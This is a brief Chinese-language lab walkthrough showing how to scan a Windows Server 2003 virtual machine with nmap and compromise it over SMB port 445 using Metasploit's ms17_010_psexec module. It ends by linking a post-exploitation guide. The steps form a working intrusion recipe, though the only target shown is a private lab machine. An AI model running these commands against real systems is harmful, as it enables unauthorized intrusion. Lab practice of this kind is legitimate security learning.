两台虚拟机
kali ip 192.168.18.128
windows ip 192.168.18.133
1）首先先扫描一下靶机
nmap -sS -sV -O -Pn 192.168.18.133
其中sS是半开放扫描,sV是扫描版本号,O是扫描操作系统,Pn是不进行ping，会快一点。
可以看到有445端口，且是windows server 2003。
2）使用msfconsole
开启msfconsole。使用模块ms17_010_psexec。可以show option查看
只需要设置RHOST目标主机即可。那么就设置.set RHOST 192.168.18.133。设置好后直接执行run
看到这样就已经是渗透成功了。
3）进行神奇的操作
已经渗透成功了，那就可以进行神奇的操作了。具体指南：http://blog.sina.com.cn/s/blog_4c86552f0102wll1.html